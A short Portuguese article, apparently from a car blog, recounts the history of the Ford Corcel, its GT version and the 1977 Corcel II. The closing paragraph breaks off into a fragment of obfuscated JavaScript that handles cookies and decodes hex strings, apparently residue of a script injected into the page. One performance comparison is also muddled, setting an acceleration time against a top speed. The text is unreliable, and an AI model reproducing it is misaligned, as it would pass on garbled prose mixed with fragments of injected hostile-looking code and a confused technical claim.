Corcel

Existem alguns modelos de carros que ficam para sempre na memória, graças a reputação que alcançaram durante seus anos de auge. Tais carros que estão marcados na história, geralmente, apresentam um forte valor afetivo para aqueles que ainda possuem o item, além de muitas marcas de automóveis que buscam remodelar esses caros apresentando versões sofisticadas.

Corcel

Um desses carros é o Corcel. Esse sedan foi lançado no Brasil inicialmente em 1968 com quatro portas, contando com um acabamento e espaço interno atrativos. Para a época, era o veículo que apresentava inovações mecânicas, vencendo seu concorrente da Volkswagen, o 1600 TL. Já no ano seguinte ao lançamento, fomos apresentados pela Ford ao Corcel GT, com uma aparência bastante esportiva, contando, por exemplo, com uma faixa no centro do capô e outra na lateral.

Em relação à primeira versão, se percebeu um aumento da aceleração e da velocidade máxima, até por se tratar de uma versão esportiva. O Corcel alcançava 100 quilômetros por hora em dezoito segundos em sua versão de lançamento, passando para 138,53 quilômetros por hora nesse novo automóvel.

Corcel II

As mudanças no veículo continuaram acontecendo durante os anos seguintes ao seu já estabilizado sucesso. Em 1977, por exemplo, chegou o Corcel II. Com uma carroceria nova e apresentando linhas mais retas e modernas, o Corcel II ainda contava também com faróis e lanternas seguindo as tendências da década em questão. Essas tendências eram faróis e lanternas traseiras em formatos retangulares.

Sobre o motor, o Corcel II veio com o mesmo (motor R) da sua primeira versão lançada 10 anos antes, mas com uma potência um pouco mais limitada. Outro fator que pode ser comparado ao modelo anterior é que o Corcel II apresentava maior estabilidade e segurança, mantendo a boa reputação da linha. Além disso, possuía ventilação dinâmica.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]